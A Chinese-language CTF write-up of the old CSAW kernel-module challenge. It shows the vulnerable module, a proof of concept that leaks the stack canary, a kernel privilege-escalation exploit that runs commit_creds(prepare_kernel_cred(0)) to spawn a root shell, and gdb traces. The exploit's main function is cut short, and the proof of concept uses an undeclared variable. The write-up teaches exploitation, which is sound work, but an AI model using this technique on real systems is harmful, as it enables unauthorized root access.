Introduction
古老的 ctf 练习题,结合之前学习的知识进行实践。
Bug
/*
* csaw.c
* CSAW CTF Challenge Kernel Module
* Jon Oberheide <jon@oberheide.org>
*
* This module implements the /proc/csaw interface which can be read
* and written like a normal file. For example:
*
* $ cat /proc/csaw
* Welcome to the CSAW CTF challenge. Best of luck!
* $ echo "Hello World" > /proc/csaw
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");
static struct proc_dir_entry *csaw_proc;
int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
char buf[MAX_LENGTH];
printk(KERN_INFO "csaw: called csaw_write\n");
/*
* We should be safe to perform this copy from userspace since our
* kernel is compiled with CC_STACKPROTECTOR, which includes a canary
* on the kernel stack to protect against smashing the stack.
*
* While the user could easily DoS the kernel, I don't think they
* should be able to escalate privileges without discovering the
* secret stack canary value.
*/
if (copy_from_user(&buf, ubuf, count)) {
printk(KERN_INFO "csaw: error copying data from userspace\n");
return -EFAULT;
}
return count;
}
int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
char buf[MAX_LENGTH];
printk(KERN_INFO "csaw: called csaw_read\n");
*eof = 1;
memset(buf, 0, sizeof(buf));
strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
memcpy(page, buf + off, MAX_LENGTH);
return MAX_LENGTH;
}
static int __init
csaw_init(void)
{
printk(KERN_INFO "csaw: loading module\n");
csaw_proc = create_proc_entry("csaw", 0666, NULL);
csaw_proc->read_proc = csaw_read;
csaw_proc->write_proc = csaw_write;
printk(KERN_INFO "csaw: created /proc/csaw entry\n");
return 0;
}
static void __exit
csaw_exit(void)
{
if (csaw_proc) {
remove_proc_entry("csaw", csaw_proc);
}
printk(KERN_INFO "csaw: unloading module\n");
}
module_init(csaw_init);
module_exit(csaw_exit);
Makefile:
obj-m := csaw.o
KERNELDR := /home/user/linux-2.6.32/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
程序 copy_from_user
处会产生溢出,和之前的练习不同的是,这次要在开启 stack-protector
的内核环境下进行,
那么就要 leak stack-canary
。
可以看到 csaw_read
函数有一个 off
参数:
int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
char buf[MAX_LENGTH];
printk(KERN_INFO "csaw: called csaw_readn");
*eof = 1;
memset(buf, 0, sizeof(buf));
strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!n");
//could leak canary here!!!!
memcpy(page, buf + off, MAX_LENGTH);
return MAX_LENGTH;
}
buf
的长度为 0x40
,可以偏移任意字节长度读取到后面的内存,从而 leak canary。
Poc
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
void hexdump(char *buf)
{
int i, j;
for (i = 0; i < 4; i++)
{
for (j = 0; j < 16; j++)
{
printf("%02x ", buf[i*16+j] & 0xff);
}
printf(" | ");
for (j = 0; j < 16; j++){
printf("%c", buf[i*16+j] & 0xff);
}
printf("\n");
}
}
int main()
{
char buf1[0x40];
char canary[4];
int fd = open("/proc/csaw", O_RDWR);
if (fd < 0) {
printf("[-] failed to open /proc/csaw\n");
exit(1);
}
lseek(fd, 0x10, SEEK_CUR);
read(fd, buf1, sizeof(buf1));
printf("dumping memory...\n\n");
hexdump(buf1);
memcpy(canary, buf+0x20, 4);
printf("Canary: %lx\n", (int)*((int*)canary));
return 0;
}
运行一下:
成功 leak,接下来就可以结合 leak,构造 payload 获取 root shell。
Exploit
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame {
void * eip ; // instruction pointer
uint32_t cs ; // code segment
uint32_t eflags ; // CPU flags
void * esp ; // stack pointer
uint32_t ss ; // stack segment
} __attribute__((packed));
struct trap_frame tf;
void launch_shell(void) {
execl("/bin/sh", "sh", NULL);
}
void prepare_tf(void) {
asm("pushl %cs; popl tf+4;"
"pushfl; popl tf+8;"
"pushl %esp; popl tf+12;"
"pushl %ss; popl tf+16;");
tf.eip = &launch_shell ;
tf.esp -= 1024; // unused part of stack
}
// Kernel functions take args in registers
#define KERNCALL __attribute__((regparm(3)))
void (*commit_creds)(void *) KERNCALL = (void*)0xc1069a40;
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *)0xc1069be0;
void payload(void) {
commit_creds(prepare_kernel_cred(0));
asm("mov $tf, %esp;"
"iret ;");
}
void hexdump(char *buf)
{
int i, j;
for (i = 0; i < 4; i++)
{
for (j = 0; j < 16; j++)
{
printf("%02x ", buf[i*16+j] & 0xff);
}
printf(" | ");
for (j = 0; j < 16; j++){
printf("%c", buf[i*16+j] & 0xff);
}
printf("\n");
}
}
int main()
{
char canary[4];
char buf[0x54];
char buf1[0x40];
int fd = open("/proc/csaw", O_RDWR);
if (fd < 0) {
printf("[-] failed to open /proc/csaw\n");
exit(1);
}
}
gdb 调试运行一下,断到 copy_from_user
后面:
pwndbg> x/10i $eip
=> 0xc88160c3 <csaw_write+51>: call 0xc121cf80 <copy_from_user>
0xc88160c8 <csaw_write+56>: test eax,eax
0xc88160ca <csaw_write+58>: jne 0xc88160e9 <csaw_write+89>
0xc88160cc <csaw_write+60>: mov eax,ebx
0xc88160ce <csaw_write+62>: mov edx,DWORD PTR [ebp-0xc]
0xc88160d1 <csaw_write+65>: xor edx,DWORD PTR gs:0x14
0xc88160d8 <csaw_write+72>: jne 0xc88160e4 <csaw_write+84>
0xc88160da <csaw_write+74>: mov ebx,DWORD PTR [ebp-0x8]
0xc88160dd <csaw_write+77>: mov esi,DWORD PTR [ebp-0x4]
0xc88160e0 <csaw_write+80>: mov esp,ebp
pwndbg> stepover
...
Breakpoint *0xc88160c8
pwndbg> x/32xw $esp
0xc6fe9ed4: 0xc881617b 0x41414141 0x41414141 0x41414141
0xc6fe9ee4: 0x41414141 0x41414141 0x41414141 0x41414141
0xc6fe9ef4: 0x41414141 0x41414141 0x41414141 0x41414141
0xc6fe9f04: 0x41414141 0x41414141 0x41414141 0x41414141
0xc6fe9f14: 0x41414141 0x62be59ce 0x41414141 0x41414141 -> canary
0xc6fe9f24: 0x41414141 0x080488d7 0x00000000 0x00000054
0xc6fe9f34: 0xbfe81118 0xc6f77cc0 0xc6fd1c00 0xc1149620
0xc6fe9f44: 0xc6fe9f64 0xc1145078 0xc6fe9f98 0x00000054
可以看到 canary 的确被覆盖成正确的值,继续执行到 ret 处
pwndbg> x/4i $eip
=> 0xc88160e3 <csaw_write+83>: ret
0xc88160e4 <csaw_write+84>: call 0xc1042660 <__stack_chk_fail>
0xc88160e9 <csaw_write+89>: call 0xc88160f4
0xc88160ee <csaw_write+94>: xchg ax,ax
pwndbg> x/4xw $esp
0xc6fe9f28: 0x080488d7 0x00000000 0x00000054 0xbfb5a698
pwndbg> x/12i 0x080488d7
0x80488d7: push ebp
0x80488d8: mov ebp,esp
0x80488da: push ebx
0x80488db: sub esp,0x4
0x80488de: mov ebx,DWORD PTR ds:0x80ea068
0x80488e4: mov edx,DWORD PTR ds:0x80ea06c
0x80488ea: mov eax,0x0
0x80488ef: call edx
0x80488f1: call ebx
0x80488f3: mov esp,0x80eba00
0x80488f8: iret
0x80488f9: nop
pwndbg>
的确会跳转到构造的 payload,最后运行结果: